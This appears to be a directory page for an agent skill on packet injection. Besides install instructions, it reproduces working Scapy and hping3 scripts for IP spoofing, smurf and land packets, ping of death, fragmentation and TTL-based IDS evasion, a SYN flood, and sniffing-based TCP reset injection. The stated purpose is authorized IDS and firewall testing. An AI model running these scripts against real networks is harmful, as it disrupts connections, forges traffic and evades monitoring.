Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack…
Install the "performing-packet-injection-attack" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-packet-injection-attack into .claude/skills/performing-packet-injection-attack/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "performing-packet-injection-attack", then confirm the skill loads.
Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Type this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a codex
Project install goes to .agents/skills/; add -g for ~/.codex/skills/.
Install the "performing-packet-injection-attack" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-packet-injection-attack into .agents/skills/performing-packet-injection-attack/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "performing-packet-injection-attack", then confirm the skill loads.
Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a cursor
Project install goes to .agents/skills/; add -g for ~/.cursor/skills/.
Install the "performing-packet-injection-attack" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-packet-injection-attack into .cursor/skills/performing-packet-injection-attack/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "performing-packet-injection-attack", then confirm the skill loads.
Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a gemini-cli
Project install goes to .agents/skills/; add -g for ~/.gemini/skills/.
Install the "performing-packet-injection-attack" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-packet-injection-attack into .gemini/skills/performing-packet-injection-attack/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "performing-packet-injection-attack", then confirm the skill loads.
Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Installs for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a github-copilot
Project install goes to .agents/skills/; add -g for ~/.copilot/skills/.
Install the "performing-packet-injection-attack" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-packet-injection-attack into .github/skills/performing-packet-injection-attack/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "performing-packet-injection-attack", then confirm the skill loads.
GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a opencode
OpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
Install the "performing-packet-injection-attack" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-packet-injection-attack into .opencode/skills/performing-packet-injection-attack/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "performing-packet-injection-attack", then confirm the skill loads.
OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Facts
Skill name
performing-packet-injection-attack
GitHub stars
34k
Token cost
~3.1k tokens
SKILL.md length
610 words
Files
4 (incl. scripts, references)
Skills in repo
637
Repo updated
First seen
Licence
Apache-2.0
At a glance
Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack…
Works in 6 steps: Craft and Send Basic Test Packets with… → IP Spoofing and Anti-Spoofing Validation → TCP Session Manipulation → …
Tasks that involve Cloud networking
SKILL.md covers When to Use, Prerequisites, Workflow and Key Concepts, plus 3 more sections
Runs Python scripts from its folder; calls python3
What it does
Performing Packet Injection Attack is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
Its SKILL.md is about 3.1k tokens, which your agent loads only when the skill is triggered. The skill folder holds 5 other files, including scripts and reference files (for example `references/api-reference.md` and `scripts/agent.py`).
It sits in Security, covering Cloud networking and Security review. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.
When your agent uses it
Tasks that involve Cloud networking
Tasks that involve Security review
Example prompts
“Use the performing-packet-injection-attack skill to craft and injects custom network packets using Scapy, hping3, and Nemesis during authorized…”
“/performing-packet-injection-attack”
Requirements
Python 3
Workflow steps
6 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
Ships 1 file in scripts/ (Python), which the agent can run.
Shell commands in SKILL.md call:
python3
From the folder's file list and the shell code blocks in SKILL.md.
Network
No URLs in SKILL.md.
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
Performing Packet Injection Attack loads about 3.1k tokens when it runs, and up to ~3.5k if it reads all its reference files. Until then it costs about 69 tokens; SKILL.md has 610 words of instructions outside code blocks.
Always· name and description, kept in context so the agent knows when to use it
~69
When it runs· the whole SKILL.md, loaded when a task matches
~3.1k
With references· SKILL.md plus every file in references/, read only if the agent opens them
~3.5k
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
Auto-check: notes
The automated check noted patterns worth knowing about, such as sudo or a known installer.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.
Download SKILL.mdSave it as .claude/skills/performing-packet-injection-attack/SKILL.md (or your agent's skills folder). This skill also uses 3 other files; get the full folder from GitHub.
name
performing-packet-injection-attack
description
Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
Performing TCP reset injection to test connection resilience and session hijacking scenarios
Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
Prerequisites
Written authorization specifying in-scope targets and approved packet injection techniques
Scapy, hping3, and Nemesis installed on the testing platform
Root/sudo privileges for raw socket access and packet crafting
Wireshark or tcpdump on the target side to verify packet delivery
Understanding of TCP/IP protocol internals, header fields, and flag combinations
Workflow
Step 1: Craft and Send Basic Test Packets with Scapy
python
#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
from scapy.all import *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")
# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")
# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")
# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
print(f"[*] DNS response received from {response[IP].src}")
Step 2: IP Spoofing and Anti-Spoofing Validation
python
#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
from scapy.all import *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")
Step 3: TCP Session Manipulation
bash
# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
python
#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""
from scapy.all import *
# Sniff for an active TCP connection and inject RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST injected: {pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# Sniff for 10 packets and attempt RST injection
print("[*] Listening for TCP ACK packets to inject RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
Step 4: Protocol Anomaly Testing
python
#!/usr/bin/env python3
"""Protocol anomaly packets for IDS/firewall testing."""
from scapy.all import *
target = "10.10.20.10"
# Ping of Death (oversized ICMP - should be blocked)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] Ping of Death fragments sent")
# Tiny fragment attack (TCP header split across fragments)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] Tiny fragment attack packets sent")
# Invalid TCP flag combinations
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("FIN only (no session)", "F"),
("All flags", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] Sent packet with invalid flags: {name}")
# TTL-based evasion (packets that expire before reaching IDS)
# Assumes IDS is 2 hops away, target is 5 hops
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] Low-TTL evasion packet sent (TTL=3)")
# IP options padding
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] Packet with IP Record Route option sent")
# Generate test results summary
cat > packet_injection_report.txt << 'EOF'
Packet Injection Test Results
=============================
Date: $(date)
Target: 10.10.20.10
Tester: Security Assessment Team
Test 1: TCP XMAS Scan
IDS Detection: YES (Suricata SID 2100330)
Firewall Action: Dropped
Test 2: IP Spoofing (192.0.2.100)
uRPF Block: YES (packet dropped at edge router)
IDS Detection: YES (source not in HOME_NET)
Test 3: Fragmentation Overlap
IDS Detection: YES (stream reassembly anomaly)
Target Response: Fragments dropped by OS
Test 4: Invalid TCP Flags
IDS Detection: YES (SYN+FIN, SYN+RST flagged)
Firewall Action: Dropped
EOF
Key Concepts
Term
Definition
Packet Injection
Crafting and sending network packets with specific header values, payloads, or flag combinations to test network security controls
IP Spoofing
Setting a false source IP address in crafted packets to test anti-spoofing controls (BCP38, uRPF) or impersonate another host
TCP RST Injection
Sending forged TCP RST packets to terminate established connections, testing session resilience and connection reset defenses
Fragmentation Attack
Exploiting IP fragmentation to split malicious payloads across fragments, evading packet inspection that does not reassemble fragments
uRPF (Unicast Reverse Path Forwarding)
Router-level anti-spoofing mechanism that drops packets if the source IP would not be routable back through the ingress interface
BCP38 (Network Ingress Filtering)
Best Current Practice for preventing IP spoofing at network borders by filtering packets with source addresses not belonging to the network
Tools & Systems
Scapy: Python packet manipulation library for crafting arbitrary network packets with full control over all protocol headers
hping3: Command-line packet generator supporting TCP, UDP, ICMP with control over flags, TTL, window size, and packet rate
Nemesis: Network packet injection tool supporting Ethernet, ARP, IP, TCP, UDP, ICMP, DNS, and other protocols
tcpreplay: Tool for replaying captured PCAP files at controlled rates for testing IDS rules against known traffic patterns
Nping: Nmap's packet generation tool for crafting probes with arbitrary TCP/UDP/ICMP headers
Show full SKILL.md (219 more words)Show less
Common Scenarios
Scenario: Validating IDS Rules After Deployment
Context: A SOC team deployed new Suricata rules for detecting reconnaissance and evasion techniques. They need to validate that the rules trigger correctly before going live. The testing is performed in a staging environment replicating the production network.
Approach:
Craft XMAS, NULL, and FIN scan packets using Scapy and send to test targets to verify scan detection rules
Generate packets with invalid TCP flag combinations (SYN+FIN, SYN+RST) to test protocol anomaly rules
Send oversized ICMP packets and fragmented payloads to test fragmentation detection rules
Inject packets with spoofed source IPs to verify anti-spoofing rules fire correctly
Send TCP RST injection packets during an active HTTP session to test session disruption detection
Verify that all expected Suricata alerts appear in the EVE JSON log with correct severity and metadata
Document which rules fired, which did not, and recommend rule tuning for any gaps
Pitfalls:
Sending injection packets too fast and overwhelming the test network or IDS sensor
Crafting packets with incorrect checksum calculations, causing them to be silently dropped before reaching the IDS
Not accounting for stateful firewalls that drop out-of-state packets before they reach the IDS for inspection
Testing from behind a NAT that modifies source ports and breaks crafted TCP sequences
Output Format
## Packet Injection Test Report
**Target**: 10.10.20.10 (test-server-01)
**IDS Sensor**: suricata-staging-01
**Test Date**: 2024-03-15
### Test Matrix
| Test | Packet Type | Expected Detection | Actual Result |
|------|-------------|-------------------|---------------|
| 1 | TCP XMAS Scan | SID 2100330 | DETECTED |
| 2 | TCP NULL Scan | SID 2100331 | DETECTED |
| 3 | SYN+FIN Invalid | SID 2100332 | DETECTED |
| 4 | IP Spoofed Source | SID 2003000 | DETECTED |
| 5 | Land Attack | SID 2100333 | NOT DETECTED |
| 6 | Fragment Overlap | SID 2200001 | DETECTED |
| 7 | Ping of Death | SID 2100334 | DETECTED |
| 8 | TCP RST Injection | Custom SID | NOT DETECTED |
### Detection Rate: 6/8 (75%)
### Gaps Identified
1. Land attack (src==dst) not detected -- add rule SID 2100333
2. TCP RST injection not detected -- create custom rule for out-of-window RST
Performing Packet Injection Attack next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
Performing Packet Injection Attack compared with similar skills
Skill
Stars
Used in
Tokens
Auto-check
Licence
Repo updated
Performing Packet Injection Attack this skillmukul975/Anthropic-Cybersecurity-Skills
Probe a target for directories that return auto-generated index listings instead of denying or serving a specific file — exposes the full file tree under any reachable directory, including files the…
Walks through reverse engineering Go-compiled malware in Ghidra: parsing buildinfo and pclntab, recovering stripped function names and extracting dependencies.
Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.
Questions about Performing Packet Injection Attack
What does Performing Packet Injection Attack do?
Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack…. Performing Packet Injection Attack is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic.
When should I use Performing Packet Injection Attack?
Performing Packet Injection Attack fits situations like: tasks that involve Cloud networking; tasks that involve Security review.
How do I install Performing Packet Injection Attack in Claude Code?
Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a claude-code`. Or copy the skill folder (skills/performing-packet-injection-attack in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/performing-packet-injection-attack in your project. Claude Code loads it when a task matches its description.
How do I install Performing Packet Injection Attack in Codex?
Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a codex`. Or copy the skill folder (skills/performing-packet-injection-attack in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/performing-packet-injection-attack in your project. Codex loads it when a task matches its description.
Can I use Performing Packet Injection Attack in Cursor, Gemini CLI or GitHub Copilot?
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/performing-packet-injection-attack, .gemini/skills/performing-packet-injection-attack, .github/skills/performing-packet-injection-attack and .opencode/skills/performing-packet-injection-attack in your project.
What does Performing Packet Injection Attack need to run?
Going by SKILL.md and its folder, Performing Packet Injection Attack needs Python for the scripts in its folder and the command-line tools its instructions call (python3). Our summary lists: Python 3.
Does Performing Packet Injection Attack access the network?
SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.
Is Performing Packet Injection Attack safe to install?
Our automated static check of SKILL.md found notes only (runs commands with sudo), nothing it rates as a warning. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.
What licence does Performing Packet Injection Attack use?
Performing Packet Injection Attack is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.
How many tokens does Performing Packet Injection Attack use?
About 3.1k tokens (SKILL.md is roughly 12k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 417 tokens, read only when the agent opens those files.
What are the alternatives to Performing Packet Injection Attack?
Skills that share tags, products or a category with Performing Packet Injection Attack: Detecting Directory Listing (jeremylongshore/tons-of-skills-marketplace, 2.8k stars), Cb Security Hardening (BlkLeg/CircuitBreaker, 201 stars), Recon Nmap (AgentSecOps/SecOpsAgentKit, 220 stars) and Kubernetes Network Security Audit (kubeshark/kubeshark, 12k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Who maintains Performing Packet Injection Attack?
mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 33,922 GitHub stars. The repository holds 637 skills in this directory. The repository was last updated on August 31, 2026.